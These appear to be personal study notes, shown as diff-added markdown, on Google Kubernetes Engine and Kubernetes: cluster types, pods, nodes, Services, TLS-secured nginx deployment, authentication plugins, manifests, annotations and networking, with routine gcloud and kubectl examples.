+- Once build a zonal cluster, can't convert it into a regional cluster or vice versa. + +![Screen Shot 2021-02-16 at 00.47.00](https://i.imgur.com/C11YGDm.png) +##### GKE Regional cluster + +- if the entire Compute Zone goes down + +- Regional clusters have a single API endpoint for the cluster. + - but it's masters and nodes are spread out across `multiple Compute Engine zones` within a region. + +- ensure that the availability of the application is maintained across multiple zones in a single region. + +- In addition, the availability of the master is also maintained so that both the application and management functionality can withstand the loss of one or more, but not all zones. + +- By default are regional cluster is spread across three zones + - each containing one master and three nodes. + - These numbers can be increased or decreased. + - but will have exactly the same number of nodes in each of the other zones + +##### GKE private cluster + +- `Regional and zonal GKE clusters` can also be setup as a private cluster. +- The entire cluster that is the master +- and it's nodes are hidden from the public Internet. +- Cluster masters can be accessed by Google Cloud products such as Stack driver through an internal IP address. +- They can also be accessed by authorized networks through an external IP address. + - Authorize networks are basically IP address ranges that are trusted to access the master. +- nodes can have limited outbound access through private Google access, which allows them to communicate with other GCP services. + - Example, + - nodes can pull Container images from Google Container Registry without needing external IP addresses. + +![Screen Shot 2021-02-16 at 00.47.21](https://i.imgur.com/ihgt55y.png) + +--- + + + +### deployment + +![Screen Shot 2021-02-07 at 15.30.03](https://i.imgur.com/vZNKFIV.png) + +> cluster > master + node > pod > containers + +- deployment + - A deployment represents a group of replicas of the same pod. + - keeps the pods running + - even if a node on which some of them run on fails. + - use a deployment to contain a component of application or entire application. + + +--- + + +### pod (smallest) + +![Screenshot 2022-11-21 at 00.10.11](https://i.imgur.com/G7IMykv.png) + +![Screen Shot 2021-02-07 at 14.51.15](https://i.imgur.com/86QrtZe.png) + +![Screen Shot 2021-02-15 at 20.45.25](https://i.imgur.com/GxzAwZP.png) + +- Pods are the atomic unit on the Kubernetes platform. + - the smallest deployable unit in Kubernetes. + - the basic building block of the standard Kubernetes model + - the smallest deployable Kubernetes object. + - pod is like running process on the cluster. + +- When create a Deployment on Kubernetes, that Deployment creates Pods with containers inside them (as opposed to creating containers directly). + - Each Pod is tied to the Node where it is scheduled, and remains there until termination (according to restart policy) or deletion. + - In case of a Node failure, identical Pods are scheduled on other available Nodes in the cluster. + +- Kubernetes deploys a container or a set of related containers inside pod. + + +- the pod could be one component of the application or an entire application + +- A pod embodies the environment where the containers live. + - That environment can accommodate one or more containers. + - If there is more than one container in a pod + - have multiple containers with a hard dependency + - they are tightly coupled and share resources including networking and storage. + - package them into a single pod. + - Each pod gets a unique IP address and set of ports for containers. + - Every container within a pod shares the network namespace, including IP address and network ports. + - containers inside a pod can communicate with each other + - using the localhost network interface + - they don't know or care which nodes they're deployed on. + - The famous 127.0.0.1 IP address + - A pod can also specify a set of Storage volumes to be shared among its containers. + +Example +- 3 instances of the NginX Web server, each in its own container, running all the time. +- Kubernetes embodies the principle of declarative management. + - declare some objects to represent those NginX containers: pods + - Now it is Kubernetes job to launch those pods and keep them in existence. + - pods are not self healing. + - to keep all our NginX Web servers not just in existence, but also working together as a team, we might want to ask for them using a more sophisticated object. + - given Kubernetes a desired state that consists of three NginX pods always kept running. + - telling Kubernetes to create and maintain one or more objects that represent them. + - Now, Kubernetes compares the desired state to the current state. + - The current state does not match the desired state. + - Kubernetes, specifically it's control plane + - remedy the situation + - the number of desired pods running declared as three + - zero while presently running, + - three will be launched. + - The Kubernetes control plane will continuously monitor the state of the cluster, endlessly comparing reality to what has been declared and remedying the state as needed. + +--- + + +### node + +![Screenshot 2022-11-21 at 00.10.35](https://i.imgur.com/lQxtlEn.png) + +- A Pod always runs on a Node. + - A Node is a worker machine in Kubernetes and may be either a virtual or a physical machine, depending on the cluster. + - Each Node is managed by the control plane. + - A Node can have multiple pods, and the Kubernetes control plane automatically handles scheduling the pods across the Nodes in the cluster. + - The control plane's automatic scheduling takes into account the available resources on each Node. + +- Every Kubernetes Node runs at least: + - Kubelet, a process responsible for communication between the Kubernetes control plane and the Node; it manages the Pods and the containers running on a machine. + - A container runtime (like Docker) responsible for pulling the container image from a registry, unpacking the container, and running the application. + + +- a group of containers + +- a node represents a computing instance. + +- nodes are virtual machines running in Compute Engine. + +- In any Kubernetes environment, nodes are created externally by cluster administrators, not by Kubernetes itself. + - GKE automates this process for you. + - It launches Compute Engine virtual machine instances and registers them as nodes. + - can manage node settings directly from the GCP console. + +- pay per hour of life of the nodes, not counting the master. + +- Because nodes run on Compute Engine + - choose the node machine type when create the cluster. + - By default, the node machine type is N1 standard one, which provides one virtual CPU and 3.75 gigabytes of memory. + - customize the nodes, number of cores, and their memory capacity. + - select a CPU Platform. + - choose a baseline minimum CPU platform for the nodes or node pool. + - This allows to improve node performance. + +- can also select multiple node machine types by creating multiple node pools. + +![Screen Shot 2021-02-16 at 00.46.34](https://i.imgur.com/HDPNMqy.png) + +A **node pool** +- a subset of nodes within a cluster that share a configuration + - such as their amount of memory or their CPU generation. +- easy way to ensure that workloads run on the right hardware within the cluster. + - just label them with a desired node pool. +- node pool are GKE feature rather than a Kubernetes feature. + +- can build an analogist mechanism within open-source Kubernetes, but would have to maintain it theself. + +- can enable automatic node upgrades, automatic node repairs, and cluster auto-scaling at this node pool level. + +- Some of each node CPU and memory are needed to run the GKE and Kubernetes components that let it work as part of the cluster. + - For example + - allocate nodes with 15 gigabytes of memory, + - not quite all of that 15 gigabytes will be available for use by pods. + +--- + +## Network Connection + +- In GKE + - LoadBalancers give access to a regional Network Load Balancing configuration by default. + - To get access to a global HTTP(S) Load Balancing configuration , use an Ingress object. + +--- + +## Deploy + +--- + +### build cluster and pods + +- create a Kubernetes cluster with Kubernetes Engine + - by `GCP console` + - or the `g-cloud command` by the Cloud SDK. + +```bash +# ----- google cloud shell +gcloud compute instances list + +# set up the zone +export MY_ZONE=us-cnetral1-f + +# ----- building Kubernetes cluster using GKE. +gcloud container clusters create webfrontend \ + --zone $MY_ZONE \ + --num-nodes 2 +# cloud console +# > Compute Engine: VM instances +# > Kubernetes Engine: Kubernetes clusters + +# check the version +kubectl version + +kubectl cluster-info + + + +# ----- starts a deployment with a container running a pod. +# - the container is an image of nginx open source web server. +# - fetch an image of nginx container registry. +kubectl run nginx \ + --image=nginx:1.15.7 +# deployment "nginx" created + +kubectl get deployments + +kubectl proxy + +curl https://localhost:8001/version + +# ----- check nodes + +kubectl get nodes + + +# ----- check pods +# To see the running nginx pods, +kubectl get pods +kubectl describe pods + +kubectl label pods $POD_NAME version=v1 + +# export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{"\n"}}{{end}}') +echo Name of the Pod: $POD_NAME + +curl https://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME/ + +curl https://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME/proxy/ + +kubectl logs $POD_NAME + +# Executing command on the container +kubectl exec $POD_NAME -- env + +kubectl exec -ti $POD_NAME -- bash + +curl localhost:8080 +exit + + +# ----- create service +kubectl expose deployment nginx \ + --port 80 \ + --type LoadBalancer +# service "nginx" exposed +kubectl expose deployment/kubernetes-bootcamp \ + --type="NodePort" \ + --port 8080 + +# shows service's public IP address. +# use this address to hit the nginx container remotely. +kubectl get services + +kubectl describe services/kubernetes-bootcamp + +curl $(minikube ip):$NODE_PORT + + +# ----- To scale a deployment +kubectl scale deployment nginx --replicas +kubectl get pods # got 3 now + + +# To auto scale a deployment based on CPU usage. +# Kubernetes will scale up the number of pods when CPU usage hits 80% of capacity +kubectl autoscale nginx --min=10 --max=15 --cpu=80 + +``` + + +### Connecting App with Services + + +> Kubernetes assumes that pods can communicate with other pods, regardless of which host they land on. +> Kubernetes gives every pod its own cluster-private IP address, so do not need to explicitly create links between pods or map container ports to host ports. This means that containers within a Pod can all reach each other's ports on localhost, and all pods in a cluster can see each other without NAT. + +1. Exposing pods to the cluster + +```bash +# Create an nginx Pod, and note that it has a container port specification: +# service/networking/run-my-nginx.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: my-nginx +spec: + selector: + matchLabels: + run: my-nginx + replicas: 2 + template: + metadata: + labels: + run: my-nginx + spec: + containers: + - name: my-nginx + image: nginx + ports: + - containerPort: 80 + +# This makes it accessible from any node in the cluster. +# Check the nodes the Pod is running on: +kubectl apply -f ./run-my-nginx.yaml +kubectl get pods -l run=my-nginx -o wide +# NAME READY STATUS RESTARTS AGE IP NODE +# my-nginx-3800858182-jr4a2 1/1 Running 0 13s 10.244.3.4 kubernetes-minion-905m +# my-nginx-3800858182-kna2y 1/1 Running 0 13s 10.244.2.5 kubernetes-minion-ljyd + +# Check the pods' IPs: +kubectl get pods -l run=my-nginx -o custom-columns=POD_IP:.status.podIPs + # POD_IP + # [map[ip:10.244.3.4]] + # [map[ip:10.244.2.5]] + +# should be able to ssh into any node in the cluster and use a tool such as curl to make queries against both IPs. +# Note that the containers are not using port 80 on the node, nor are there any special NAT rules to route traffic to the pod. +# This means can run multiple nginx pods on the same node all using the same containerPort, and access them from any other pod or node in the cluster using the assigned IP address for the Service. +# If want to arrange for a specific port on the host Node to be forwarded to backing Pods, can - but the networking model should mean that do not need to do so. +``` + +2. Creating a Service + 1. So we have pods running nginx in a flat, cluster wide, address space. + 1. In theory, could talk to these pods directly, but what happens when a node dies? The pods die with it, and the Deployment will create new ones, with different IPs. This is the problem a Service solves. + 2. A Kubernetes Service is an abstraction which defines a logical set of Pods running somewhere in the cluster, that all provide the same functionality. + 1. When created, each Service is assigned a unique IP address (also called clusterIP). This address is tied to the lifespan of the Service, and will not change while the Service is alive. + 2. Pods can be configured to talk to the Service, and know that communication to the Service will be automatically load-balanced out to some pod that is a member of the Service. + +```bash +# create a Service for the 2 nginx replicas with kubectl expose: +kubectl expose deployment/my-nginx + +# This is equivalent to : +# kubectl apply -f service/networking/nginx-svc.yaml +apiVersion: v1 +kind: Service +metadata: + name: my-nginx + labels: + run: my-nginx +spec: + ports: + - port: 80 + protocol: TCP + selector: + run: my-nginx + +# This specification will create a Service which +# - targets TCP port 80 on any Pod with the run: my-nginx label, +# - and expose it on an abstracted Service port +# - port: the abstracted Service port, which can be any port other pods use to access the Service +# - targetPort: the port the container accepts traffic on, +# View Service API object to see the list of supported fields in service definition. + + +# Check the Service: +kubectl get svc my-nginx +# NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +# my-nginx ClusterIP 10.0.162.149 80/TCP 21s + + + +# As mentioned previously, a Service is backed by a group of Pods. These Pods are exposed through EndpointSlices. The Service's selector will be evaluated continuously and the results will be POSTed to an EndpointSlice that is connected to the Service using a labels. +# When a Pod dies, it is automatically removed from the EndpointSlices that contain it as an endpoint. +# New Pods that match the Service's selector will automatically get added to an EndpointSlice for that Service. + + +# Check the endpoints, and note that the IPs are the same as the Pods created in the first step: +kubectl describe svc my-nginx +Name: my-nginx +Namespace: default +Labels: run=my-nginx +Annotations: +Selector: run=my-nginx +Type: ClusterIP +IP: 10.0.162.149 +Port: 80/TCP +Endpoints: 10.244.2.5:80,10.244.3.4:80 +Session Affinity: None +Events: + +kubectl get endpointslices -l kubernetes.io/service-name=my-nginx +NAME ADDRESSTYPE PORTS ENDPOINTS AGE +my-nginx-7vzhx IPv4 80 10.244.2.5,10.244.3.4 21s +# should now be able to curl the nginx Service on : from any node in the cluster. +# Note that the Service IP is completely virtual, it never hits the wire. + + +``` + + + +3. Accessing the Service + +Kubernetes supports 2 primary modes of finding a Service +- environment variables: works out of the box +- DNS: requires the CoreDNS cluster addon. + +> Note: If the service environment variables are not desired (because possible clashing with expected program ones, too many variables to process, only using DNS, etc) can disable this mode by setting the enableServiceLinks flag to false on the pod spec. + +```bash +# Environment Variables + +# When a Pod runs on a Node, the kubelet adds a set of environment variables for each active Service. +# This introduces an ordering problem. + +# inspect the environment of the running nginx Pods: +kubectl exec my-nginx-3800858182-jr4a2 -- printenv | grep SERVICE +# KUBERNETES_SERVICE_HOST=10.0.0.1 +# KUBERNETES_SERVICE_PORT=443 +# KUBERNETES_SERVICE_PORT_HTTPS=443 + +# Note there's no mention of the Service. +# This is because created the replicas before the Service. Another disadvantage of doing this is that the scheduler might put both Pods on the same machine, which will take the entire Service down if it dies. +# We can do this the right way by killing the 2 Pods and waiting for the Deployment to recreate them. +# This time around the Service exists before the replicas. This will give scheduler-level Service spreading of the Pods (provided all the nodes have equal capacity), as well as the right environment variables: + +kubectl scale deployment my-nginx --replicas=0; \ + kubectl scale deployment my-nginx --replicas=2; + +kubectl get pods -l run=my-nginx -o wide +# NAME READY STATUS RESTARTS AGE IP NODE +# my-nginx-3800858182-e9ihh 1/1 Running 0 5s 10.244.2.7 kubernetes-minion-ljyd +# my-nginx-3800858182-j4rm4 1/1 Running 0 5s 10.244.3.8 kubernetes-minion-905m + +# may notice that the pods have different names, since they are killed and recreated. + +kubectl exec my-nginx-3800858182-e9ihh -- printenv | grep SERVICE +# KUBERNETES_SERVICE_PORT=443 +# MY_NGINX_SERVICE_HOST=10.0.162.149 +# KUBERNETES_SERVICE_HOST=10.0.0.1 +# MY_NGINX_SERVICE_PORT=80 +# KUBERNETES_SERVICE_PORT_HTTPS=443 +``` + + +```bash +# DNS + +# Kubernetes offers a DNS cluster addon Service that automatically assigns dns names to other Services. + +# check if it's running on the cluster: +kubectl get services kube-dns --namespace=kube-system +# NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +# kube-dns ClusterIP 10.0.0.10 53/UDP,53/TCP 8m + + +# The rest of this section will assume have a Service with a long lived IP (my-nginx), and a DNS server that has assigned a name to that IP. Here we use the CoreDNS cluster addon (application name kube-dns), so can talk to the Service from any pod in the cluster using standard methods (e.g. gethostbyname()). If CoreDNS isn't running, can enable it referring to the CoreDNS README or Installing CoreDNS. + + +# run another curl application to test this: +kubectl run curl --image=radial/busyboxplus:curl -i --tty +# Waiting for pod default/curl-131556218-9fnch to be running, status is Pending, pod ready: false +# Hit enter for command prompt +[ root@curl-131556218-9fnch:/ ]$ nslookup my-nginx +Server: 10.0.0.10 +Address 1: 10.0.0.10 +Name: my-nginx +Address 1: 10.0.162.149 +``` + +4. Securing the Service + - Till now we have only accessed the nginx server from within the cluster. + - Before exposing the Service to the internet, make sure the communication channel is secure: + + - Self signed certificates for https (unless already have an identity certificate) + - An nginx server configured to use the certificates + - A secret that makes the certificates accessible to pods + - can acquire all these from the nginx https example. This requires having go and make tools installed. If don't want to install those, then follow the manual steps later. In short: + + + +```bash +make keys KEY=/tmp/nginx.key CERT=/tmp/nginx.crt +kubectl create secret tls nginxsecret --key /tmp/nginx.key --cert /tmp/nginx.crt +# secret/nginxsecret created + +kubectl get secrets +# NAME TYPE DATA AGE +# nginxsecret kubernetes.io/tls 2 1m + +# And also the configmap: +kubectl create configmap nginxconfigmap \ + --from-file=default.conf +# configmap/nginxconfigmap created + +kubectl get configmaps +# NAME DATA AGE +# nginxconfigmap 1 114s + + + + + +# Following are the manual steps to follow in case run into problems running make (on windows for example): + +# Create a public private key pair +openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /d/tmp/nginx.key -out /d/tmp/nginx.crt -subj "/CN=my-nginx/O=my-nginx" +# Convert the keys to base64 encoding +cat /d/tmp/nginx.crt | base64 +cat /d/tmp/nginx.key | base64 + + +# Use the output from the previous commands to create a yaml file as follows. The base64 encoded value should all be on a single line. +apiVersion: "v1" +kind: "Secret" +metadata: + name: "nginxsecret" + namespace: "default" +type: kubernetes.io/tls +data: + tls.crt: "LS..0K" + tls.key: "LS0..K" + + +# Now create the secrets using the file: +kubectl apply -f nginxsecrets.yaml +kubectl get secrets +# NAME TYPE DATA AGE +# nginxsecret kubernetes.io/tls 2 1m + + +# Now modify the nginx replicas to start an https server using the certificate in the secret, and the Service, to expose both ports (80 and 443): +# service/networking/nginx-secure-app.yaml +apiVersion: v1 +kind: Service +metadata: + name: my-nginx + labels: + run: my-nginx +spec: + type: NodePort + ports: + - port: 8080 + targetPort: 80 + protocol: TCP + name: http + - port: 443 + protocol: TCP + name: https + selector: + run: my-nginx +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: my-nginx +spec: + selector: + matchLabels: + run: my-nginx + replicas: 1 + template: + metadata: + labels: + run: my-nginx + spec: + volumes: + - name: secret-volume + secret: + secretName: nginxsecret + - name: configmap-volume + configMap: + name: nginxconfigmap + containers: + - name: nginxhttps + image: bprashanth/nginxhttps:1.0 + ports: + - containerPort: 443 + - containerPort: 80 + volumeMounts: + - mountPath: /etc/nginx/ssl + name: secret-volume + - mountPath: /etc/nginx/conf.d + name: configmap-volume + +# Noteworthy points about the nginx-secure-app manifest: + +# It contains both Deployment and Service specification in the same file. +# The nginx server serves HTTP traffic on port 80 and HTTPS traffic on 443, and nginx Service exposes both ports. +# Each container has access to the keys through a volume mounted at /etc/nginx/ssl. This is set up before the nginx server is started. +# kubectl delete deployments,svc my-nginx; kubectl create -f ./nginx-secure-app.yaml + + + +# At this point can reach the nginx server from any node. +kubectl get pods -l run=my-nginx -o custom-columns=POD_IP:.status.podIPs + # POD_IP + # [map[ip:10.244.3.5]] + +node $ curl -k https://10.244.3.5 +# ... +#

    Welcome to nginx!

    + +# Note how we supplied the -k parameter to curl in the last step, this is because we don't know anything about the pods running nginx at certificate generation time, so we have to tell curl to ignore the CName mismatch. By creating a Service we linked the CName used in the certificate with the actual DNS name used by pods during Service lookup. Let's test this from a pod (the same secret is being reused for simplicity, the pod only needs nginx.crt to access the Service): +# service/networking/curlpod.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: curl-deployment +spec: + selector: + matchLabels: + app: curlpod + replicas: 1 + template: + metadata: + labels: + app: curlpod + spec: + volumes: + - name: secret-volume + secret: + secretName: nginxsecret + containers: + - name: curlpod + command: + - sh + - -c + - while true; do sleep 1; done + image: radial/busyboxplus:curl + volumeMounts: + - mountPath: /etc/nginx/ssl + name: secret-volume + +kubectl apply -f ./curlpod.yaml +kubectl get pods -l app=curlpod +# NAME READY STATUS RESTARTS AGE +# curl-deployment-1515033274-1410r 1/1 Running 0 1m +kubectl exec curl-deployment-1515033274-1410r -- curl https://my-nginx --cacert /etc/nginx/ssl/tls.crt +# ... +# Welcome to nginx! +# ... +``` + + +5. Exposing the Service +```bash +# For some parts of the applications may want to expose a Service onto an external IP address. Kubernetes supports two ways of doing this: NodePorts and LoadBalancers. The Service created in the last section already used NodePort, so the nginx HTTPS replica is ready to serve traffic on the internet if the node has a public IP. + +kubectl get svc my-nginx -o yaml | grep nodePort -C 5 + uid: 07191fb3-f61a-11e5-8ae5-42010af00002 +spec: + clusterIP: 10.0.162.149 + ports: + - name: http + nodePort: 31704 + port: 8080 + protocol: TCP + targetPort: 80 + - name: https + nodePort: 32453 + port: 443 + protocol: TCP + targetPort: 443 + selector: + run: my-nginx +kubectl get nodes -o yaml | grep ExternalIP -C 1 + - address: 104.197.41.11 + type: ExternalIP + allocatable: +-- + - address: 23.251.152.56 + type: ExternalIP + allocatable: +... + +$ curl https://: -k +# ... +#

    Welcome to nginx!

    + + + +# Let's now recreate the Service to use a cloud load balancer. Change the Type of my-nginx Service from NodePort to LoadBalancer: +kubectl edit svc my-nginx +kubectl get svc my-nginx +# NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +# my-nginx LoadBalancer 10.0.162.149 xx.xxx.xxx.xxx 8080:30163/TCP 21s + + +curl https:// -k +# ... +# Welcome to nginx! + + + +# The IP address in the EXTERNAL-IP column is the one that is available on the public internet. The CLUSTER-IP is only available inside the cluster/private cloud network. + +# Note that on AWS, type LoadBalancer creates an ELB, which uses a (long) hostname, not an IP. It's too long to fit in the standard kubectl get svc output, in fact, so you'll need to do kubectl describe service my-nginx to see it. You'll see something like this: + +kubectl describe service my-nginx +# ... +# LoadBalancer Ingress: a320587ffd19711e5a37606cf4a74574-1142138393.us-east-1.elb.amazonaws.com +# ... +``` + + +--- + +## object + +- Each thing Kubernetes manages is represented by an object. + - can view and change these objects, attributes, and state. + +- the principle of declarative management, + - tell it what want, the state of the objects under each management to be. + - Kubernetes will work to bring that state into being and keep it there. + +- Kubernetes object + - is defined as a persistent entity + - represents the state of something running in a cluster, it's desired state and its current state. + - Various kinds of objects represent containerized applications, the resources that are available to them, and the policies that affect their behavior. + +![Screen Shot 2021-02-15 at 20.44.14](https://i.imgur.com/diYW6tQ.png) + +- Kubernetes objects have two important elements. + - objects spec + - give Kubernetes an objects spec for each object wanted to create. + - define the desired state of the object + - providing the characteristics that want. + - The object's status + - the current state of the object provided by the Kubernetes control plane. +- Kubernetes control plane: + - the various system processes that collaborate to make a Kubernetes cluster work. + +--- + +## Authentication + +To ensure the separation between the open source version of Kubernetes and those versions that are customized by services providers like Google, the open source community is requiring that all provider-specific code that currently exists in the OSS code base be removed starting with v1.26. + +While this causes a number of changes on the server side from the OSS community in v1.26, there is one that affects kubectl on the client side as well. This post outlines changes can make today that will prevent complications when v1.26 rolls out. + +NOTE: The transition from provider-specific code in OSS to `plugin based credentials retrieval` is now planned for v1.26 due to customer feedback. Customers are encouraged to proactively deploy the plugin in their environments using the below flag at the earliest and let us know if they have any issues. + + +### kubernets-plugin + +> Existing versions of kubectl and custom Kubernetes clients contain `provider-specific code` to manage authentication between the client and Google Kubernetes Engine. +> - Starting with v1.26, this code will no longer be included as part of the OSS kubectl. GKE users will need to download and use a separate authentication plugin to generate GKE-specific tokens. + +gke-gcloud-auth-plugin +- uses the `Kubernetes Client-go Credential Plugin` mechanism to extend kubectl’s authentication to support GKE. +- will need to install the gke-gcloud-auth-plugin binary on all systems where kubectl or Kubernetes custom clients are used. + +```bash +# To install the binary +gcloud components install gke-gcloud-auth-plugin +sudo apt-get install google-cloud-sdk-gke-gcloud-auth-plugin +sudo yum install google-cloud-sdk-gke-gcloud-auth-plugin + +# To verify that the installation worked correctly +gke-gcloud-auth-plugin --version +gke-gcloud-auth-plugin.exe --version +``` + + +Run kubectl with the new plugin prior to the release of v1.26 +To have kubectl use the new binary plugin for authentication instead of using the default provider-specific code, use the following steps. +1. Set export USE_GKE_GCLOUD_AUTH_PLUGIN=True in ~/.bashrc (or in Environment variables for Windows). +2. Run the following command: +source ~/.bashrc +For Windows environments, start a new terminal. +3. Update gcloud to the latest version. +gcloud components update +4. Run the following command: +gcloud container clusters get-credentials CLUSTER_NAME +Replace the CLUSTER_NAME with the name of the cluster. This will force the config for this cluster to be updated to the Client-go Credential Plugin configuration. + + +--- + +## configuration + +define the objects want Kubernetes to create and maintain with manifest files. + +- configuration file + - use configuration file tells Kubernetes the desired state + - These configuration files then become the management tools. + - To make a change, edit the file and then present the changed version to Kubernetes. + + +```yaml +# configuration file + +# get a starting point for one of these files based on the work we've already done. +kubectl get pods -l "app=nginx" -o yaml +# output + +# nginx.deployment.yaml +apiVerison: v1 # which Kubernetes API version is used to create the object. +kind: Deployment +metadata: + name: nginx + labels: + app: nginx +spec: + replicas: 3 # 3 replicas of the nginx pod + selector: # how to group specific pods as replicas + matchLabels: # all of those specific pods share a label + app: nginx # app is tagged as nginx + template: + metadata: + labels: + app: nginx + spec: + containers: + - name: nginx + image: nginx: 1.15.7 + ports: + - containerPort: 80 + +# --------------- 1. +# To scale a deployment +kubectl scale nginx --replicas=3 +# To auto scale a deployment based on CPU usage. +# Kubernetes will scale up the number of pods when CPU usage hits 80% of capacity +kubectl autoscale nginx --min=10 --max=15 --cpu=80 + +# --------------- 2. edit the deployment config file +# then updated config file. +kubectl apply -f nginx.deployment.yaml + +# view the replicas and see their updated state. +kubectl get replicasets + +# watch the pods come online. +kubectl get pods + +# check the deployments to make sure the proper number of replicas are running +kubectl get deployments + +# shows public IP of the service +# Clients can use this address to hit the nginx container remotely. +kubectl get services + +``` + +--- + +## Namespace + +Namespace 是对一组资源和对象的抽象集合,比如可以用来将系统内部的对象划分为不同的项目组或用户组。常见的 pods, services, replication controllers 和 deployments等都是属于某一个 namespace 的(默认是 default) ,而 node, persistentVolumes 等则不属于任何 namespace。 + + +--- + +## Annotations 注解 + +**Annotations** +- 是 key/value 形式附加于对象的注解。 +- 不同于 Labels 用于标志和选择对象,Annotations 则是用来记录一些附加信息,用来辅助应用部署、安全策略以及调度策略等。 +- 比如 deployment 使用 annotations 来记录 rolling update 的状态。 + +技术特点 + +- 将metadata附加到对象 + - 使用`标签`或`注释`将元数据附加到Kubernetes对象。 + - `标签`可用于选择对象并查找满足特定条件的对象的集合。 + - `注释`不用于标识和选择对象。 + - 批注中的元数据可以是大小的,结构化的或非结构化的,并且可以包含标签不允许的字符。 + +```yaml +# 像标签一样的注释是键/值映射: +"metadata": { + "annotations": { + "key1" : "value1", + "key2" : "value2" + } +} +``` + + +- 可以记录在注释中的信息示例: + - 由声明性配置层管理的字段。将这些字段附加为注释可以将它们与客户端或服务器设置的默认值,自动生成的字段以及通过自动调整大小或自动缩放系统设置的字段区分开。 + - 生成,发布或映像信息,例如时间戳,发行ID,git分支,PR号,图像哈希和注册表地址。 + - 指向日志,监视,分析或审核存储库的指针。 + - 可用于调试目的的客户端库或工具信息:例如,名称,版本和内部版本信息。 + - 用户或工具/系统出处信息,例如来自其他生态系统组件的相关对象的URL。 + - 轻量级推出工具元数据:例如,配置或检查点。 + - 负责人的电话或寻呼机号码,或指定可在何处找到该信息的目录条目,例如团队网站。 + - 从最终用户到实现的指令,以修改行为或使用非标准功能。 + +- 除了使用批注,您还可以将这种类型的信息存储在外部数据库或目录中,但这将使制作共享的客户端库和用于部署,管理,自省等工具变得更加困难。 + + +- 语法和字符集 + - 注释是键/值对。 + - 有效的注释键分为两部分:可选的前缀和名称,用斜杠(/)分隔。 + - 名称段是必需的,并且必须为63个字符或更少,以字母数字字符`[a-z0-9A-Z]`开头和结尾,并以短划线(-),下划线(_),`.`和之间的字母数字组成。 + - 前缀是可选的。 + - 如果指定,前缀必须是DNS子域:一系列由`.`分隔的DNS标签,总计不超过253个字符,后跟斜杠(/)。 + - 如果省略了前缀,则假定注释键对用户是私有的。 + - 自动化系统组件(例如kube-scheduler,kube-controller-manager,kube-apiserver,kubectl,或其他第三方自动化),这说明添加到最终用户的对象都必须指定一个前缀。 + - 在kubernetes.io/和k8s.io/前缀保留给Kubernetes核心组件。 + +```yaml +# 例如,这是带有注释的Pod的配置文件imageregistry: https://hub.docker.com/: +apiVersion: v1 +kind: Pod +metadata: + name: annotations-demo + annotations: + imageregistry: "https://hub.docker.com/" +spec: +containers: + name: nginx + image: nginx:1.7.9 + ports: + containerPort: 80 +``` + +- annotations 的例子 + - 一般是系统或者工具用来存储资源的非标示性信息,可以用来扩展资源的 spec/status 的描述,这里给了几个 annotations 的例子: +第一个例子,存储了阿里云负载器的证书 ID,我们可以看到 annotations 一样可以拥有域名的前缀,标注中也可以包含版本信息。第二个 annotation存储了 nginx 接入层的配置信息,我们可以看到 annotations 中包括“,”这样无法出现在 label 中的特殊字符。第三个 annotations 一般可以在 kubectl apply 命令行操作后的资源中看到, annotation 值是一个结构化的数据,实际上是一个 json 串,标记了上一次 kubectl 操作的资源的 json 的描述。 + + +--- + +## update version of the application/container + +- update version of the application/container + - roll out all changes at once + - could be risky + - users experience downtime while the application rebuilds and redeploys. + - rolling update + - one attribute of a deployment is its update strategy. + - example + - choose a rolling update for a deployment + - when give it a new version of the software that it manages, + - Kubernetes will create pods of the new version one-by-one + - waiting for each new version pod to become available before destroying one of the old version pods + - a quick way to push out a new version of the application + - while sparing the users from experiencing downtime. + + +--- + + +## Networking + +4 distinct networking problems: +- Highly-coupled `container-to-container` communications: this is solved by Pods and localhost communications. +- `Pod-to-Pod` communications: this is the primary focus of this document. +- `Pod-to-Service` communications: this is covered by Services +- `External-to-Service` communications: this is also covered by Services + + +Kubernetes is all about sharing machines between applications +- Typically, sharing machines requires ensuring that two applications do not try to use the same ports. Coordinating ports across multiple developers is very difficult to do at scale and exposes users to cluster-level issues outside of their control. + +- Dynamic port allocation brings a lot of complications to the system + - every application has to take ports as flags, + - the API servers have to know how to insert dynamic port numbers into configuration blocks, + - services have to know how to find each other, etc. + - Dynamic port allocation: + - requires supporting both static ports (e.g., for externally accessible services) + - requires partitioning centrally allocated and locally acquired dynamic ports, complicates scheduling (since ports are a scarce resource), is inconvenient for users, complicates application configuration, is plagued by port conflicts and reuse and exhaustion, + - requires non-standard approaches to naming (e.g. consul or etcd rather than DNS), + - requires proxies and/or redirection for programs using standard naming/addressing mechanisms (e.g. web browsers), + - requires watching and cache invalidation for address/port changes for instances in addition to watching group membership changes, and obstructs container/pod migration (e.g. using CRIU). + - NAT introduces additional complexity by fragmenting the addressing space, which breaks self-registration mechanisms, among other problems. + +- Kubernetes takes a different approach. + + +container runtime +- The network model is implemented by the container runtime on each node. +- The most common container runtimes use `Container Network Interface (CNI) plugins` to manage their network and security capabilities. +- Many different CNI plugins exist from many different vendors. Some of these provide only basic features of adding and removing network interfaces, while others provide more sophisticated solutions, such as integration with other container orchestration systems, running multiple CNI plugins, advanced IPAM features etc. + + + + +### Kubernetes networking model + +Kubernetes deviates from the default Docker networking model +- The goal is for each pod to have an IP in a `flat shared networking namespace` that has full communication with other physical computers and containers across the network. +- IP-per-pod creates a clean, backward-compatible model where pods can be treated much like VMs or physical hosts from the perspectives of port allocation, networking, naming, service discovery, load balancing, application configuration, and migration. + + +- Every Pod in a cluster gets its own unique cluster-wide IP address . + - do not need to explicitly create links between Pods + - almost never need to map container ports to host ports. + +- This creates a clean, backwards-compatible model where `Pods` can be treated much like VMs or physical hosts from the perspectives of port allocation, naming, service discovery, load balancing, application configuration, and migration. + +- Kubernetes imposes the following fundamental requirements on any networking implementation (barring any intentional network segmentation policies): + + - pods can communicate with all other pods on any other node without NAT + + - agents on a node (e.g. system daemons, kubelet) can communicate with all pods on that node + + - For those platforms that support Pods running in the host network (e.g. Linux), when pods are attached to the host network of a node they can still communicate with all pods on all nodes without NAT. + +> This model is not only less complex overall, but it is principally compatible with the desire for Kubernetes to enable low-friction porting of 